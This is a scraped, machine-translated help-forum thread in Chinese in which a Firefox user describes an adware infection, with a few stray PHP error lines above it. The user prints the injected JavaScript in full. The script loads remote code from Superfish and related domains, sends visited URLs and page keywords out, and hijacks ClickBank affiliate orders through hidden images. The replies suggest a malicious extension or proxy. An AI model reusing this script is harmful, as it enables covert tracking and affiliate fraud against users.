Warning: file_get_contents(/data/phpspider/zhask/data//catemap/9/javascript/478.json): failed to open stream: No such file or directory in /data/phpspider/zhask/libs/function.php on line 167

Warning: Invalid argument supplied for foreach() in /data/phpspider/zhask/libs/tag.function.php on line 1116

Notice: Undefined index: in /data/phpspider/zhask/libs/function.php on line 180

Warning: array_chunk() expects parameter 1 to be array, null given in /data/phpspider/zhask/libs/function.php on line 181
Javascript Shopping-Guide-Onlines.com和Superfish.com将脚本注入Firefox_Javascript_Firefox_Code Injection - Fatal编程技术网

Javascript Shopping-Guide-Onlines.com和Superfish.com将脚本注入Firefox

Javascript Shopping-Guide-Onlines.com和Superfish.com将脚本注入Firefox,javascript,firefox,code-injection,Javascript,Firefox,Code Injection,我正在运行最新版本的Firefox。我的操作系统是Mac10.7.5。我使用cookie管理器,直到最近,还使用NoScript。最近我禁用了NoScript 当我登录我的一个雅虎电子邮件帐户时,我得到了一个不寻常的弹出窗口,从表面上看,这个窗口是合法的。它说我没有更新我的营销偏好,我必须这样做,否则我的帐户将被终止。终止的部分看起来很可疑,但在我的屏幕底部弹出了一个窗口,具有侵入性,所以我试图点击X来关闭它。它启动了另一个窗口,我立即关闭了它 紧接着,我注意到Firefox的各种变化。我最终阻

我正在运行最新版本的Firefox。我的操作系统是Mac10.7.5。我使用cookie管理器,直到最近,还使用NoScript。最近我禁用了NoScript

当我登录我的一个雅虎电子邮件帐户时,我得到了一个不寻常的弹出窗口,从表面上看,这个窗口是合法的。它说我没有更新我的营销偏好,我必须这样做,否则我的帐户将被终止。终止的部分看起来很可疑,但在我的屏幕底部弹出了一个窗口,具有侵入性,所以我试图点击X来关闭它。它启动了另一个窗口,我立即关闭了它

紧接着,我注意到Firefox的各种变化。我最终阻止了LittleSnitch与shopping-guide-onlines.com和superfish.com的所有传出连接。然而,他们仍然在使用一些邪恶的魔法

当我使用WebDeveloper插件查看生成的源代码时,以下内容会出现在我浏览到的任何页面上,我会删除个人信息

<script>var scr = document.createElement( "script" );
scr.type= 'text/javascript';
scr.setAttribute( "src", "http://spns.rotatemyad.com/scripts/c07da12841ed3554e8f1a548ab1e3a57ce18a908.js" );
scr.setAttribute('async', 'true');
document.getElementsByTagName('head')[0].appendChild( scr );
var scr = document.createElement( "script" );
scr.type= 'text/javascript';
if (window.location.protocol.indexOf( "https" ) > -1) {
scr.setAttribute( "src", "https://www.superfish.com/ws/sf_main.jsp?dlsource=hljijvz&userId=&CTID=mp");
} else {
scr.setAttribute( "src", "http://www.superfish.com/ws/sf_main.jsp?dlsource=hljijvz&userId=&CTID=mp");
}
scr.setAttribute('async', 'true');
(document.getElementsByTagName('head')[0] || document.getElementsByTagName('body')[0]).appendChild( scr );

if( document.location.href.search("•••••.com") > -1 ||
    document.location.href.search("•••••.com") > -1 || 
    document.location.href.search("•••••.com") > -1 || 
    document.location.href.search("•••••.com") > -1 || 
    document.location.href.search("•••••.com") > -1 || 
    document.location.href.search("•••••.com") > -1 || 
    document.location.href.search("•••••.com") > -1 || 
    document.location.href.search("•••••.com") > -1 || 
    document.location.href.search("•••••.com") > -1 || 
    document.location.href.search("•••••.com") > -1 || 
    document.location.href.search("•••••.com") > -1 || 
    document.location.href.search("•••••.com") > -1 ) {

    var scr = document.createElement( "script" );
    scr.type= 'text/javascript';
    scr.setAttribute( "src", "http://shopping-guide-online.com/c2.php" );
    document.getElementsByTagName('head')[0].appendChild( scr );
}

if( document.location.href.search("clickbank.net/order/orderform") > -1 ) {
    var aff1 = "kwrdstool";
    var body = document.getElementsByTagName('body')[0];
    var aff2 = body.innerHTML.match(/\[affiliate = (.*?)\]/i);
    if( aff2.hasOwnProperty("1") && aff2[1] != "" ) {
        if( aff1 != aff2[1] ) {
            var head = document.getElementsByTagName('head')[0].innerHTML;
            var vend = head.match(/<!-- vs: (.*?) -->/i);
            if( vend.hasOwnProperty("1") && vend[1] != "" ) {
                body.style.display = "none";
                var f = document.createElement('img');
                f.style.width   = '1px';
                f.style.height = '1px';
                f.style.position = 'absolute';
                f.style.top = '-999px';
                f.src = "http://" + aff1 + "." + vend[1] + ".hop.clickbank.net";
                setTimeout( function() { window.location.href = window.location.href; }, 2000 );
                body.appendChild(f);
            }
        }
    }
} 

function get_mk()
{
    metaCollection = document.getElementsByTagName("meta");
    for (i = 0; i < metaCollection.length; i++) {
        if (metaCollection[i].name.search(/keywords/i) != -1)
        {
            return metaCollection[i].content
        }
    }
    return ""
}

function add_a(a)
{
    var b       = document.getElementsByTagName('body')[0];
    var f       = document.createElement('iframe');
    f.id        ='ifr1';
    f.style.width   ='1px';
    f.style.height  ='1px';
    f.style.position= 'absolute';
    f.style.top     ='-999px';
    f.src       = a;

    b.appendChild(f);
}

function add_script(a)
{
    var b       = document.getElementsByTagName('head')[0];
    var f       = document.createElement('script');
    f.id        ='scr1';
    f.src       = a;

    b.appendChild(f);
}




function contains(a, e){ for(j=0;j<a.length;j++)if(a[j]==e)return true; return false;}
function setCookie(c_name,value,exdays){ var exdate=new Date(); exdate.setDate(exdate.getDate() + exdays); var c_value=escape(value) + ((exdays==null) ? "" : "; expires="+exdate.toUTCString()); document.cookie=c_name + "=" + c_value; }

function getCookie(c_name)
{var i,x,y,ARRcookies=document.cookie.split(";");for(i=0;i<ARRcookies.length;i++)
{x=ARRcookies[i].substr(0,ARRcookies[i].indexOf("="));y=ARRcookies[i].substr(ARRcookies[i].indexOf("=")+1);x=x.replace(/^\s+|\s+$/g,"");if(x==c_name)
{return unescape(y);}}}


shuffle = function(o){ //v1.0
    for(var j, x, i = o.length; i; j = parseInt(Math.random() * i), x = o[--i], o[i] = o[j], o[j] = x);
    return o;
};


function get_timestamp(){   return Math.round((new Date()).getTime() / 1000);}
function trim (myString){   return myString.replace(/^\s+/g,'').replace(/\s+$/g,'')}


var cur_loc=escape(window.location);
if( cur_loc.length<500 )
{
var scr = document.createElement( "script" );
scr.type= 'text/javascript';get_mk
scr.setAttribute( "src", "http://shopping-guide-onlines.com/search/adi/g.php?k=" + encodeURIComponent(get_mk().substring(0, 200)) + "&r=" + encodeURIComponent(window.location));      
scr.setAttribute('async', 'true');
(document.getElementsByTagName('head')[0] || document.getElementsByTagName('body')[0]).appendChild( scr );
}var added_order=false; if(document.getElementById( "fbevid1" )!=undefined)
    {
        if(document.getElementById( "fbevid2" )!=undefined)
        {
            document.getElementById( "fbevid1" ).style.display="none";
            document.getElementById( "fbevid2" ).style.display="";
        }
    }</script><script async="true" src="http://spns.rotatemyad.com/scripts/c07da12841ed3554e8f1a548ab1e3a57ce18a908.js" type="text/javascript"></script><script async="true" src="http://www.superfish.com/ws/sf_main.jsp?dlsource=hljijvz&amp;userId=&amp;CTID=mp" type="text/javascript"></script><script async="true" src="http://shopping-guide-onlines.com/search/adi/g.php?k=&amp;r=http%3A%2F%2F••••••••.html" type="text/javascript"></script>

我还没有找到任何出版物对此进行修复。清除缓存没有任何作用。这令人愤怒,因为这是秘密进行的,据我所知,有许多大公司使用在线导购、superfish和rotatemyad。如果是这样,他们都是骗子。

你可能有病毒、恶意扩展或恶意上游代理。你在View Source中看到了什么?View Source很好;只给出实际的页面内容。当我查看生成的源代码时,脚本才变得可见。我没有运行很多附加组件。我想可能是AdBlockPlus,因为我最近读到一些关于他们与广告投递商达成交易的消息,但我禁用了它,仍然生成了相同的脚本。这些生成的请求不会去任何地方,因为我已经阻止了所有发送到这些IP和域的请求,但为了让脚本继续生成…好吧,我还没有找到罪魁祸首。我和你有一个相同的问题,因为今天早上,我不明白为什么每次我加载网页,它将自动重定向到此站点:我已在主机中阻止它,但它仍然重定向。我希望有人能帮我解决这个问题,太烦人了。顺便说一句,我的英语不好,所以很抱歉,如果我写错了地方。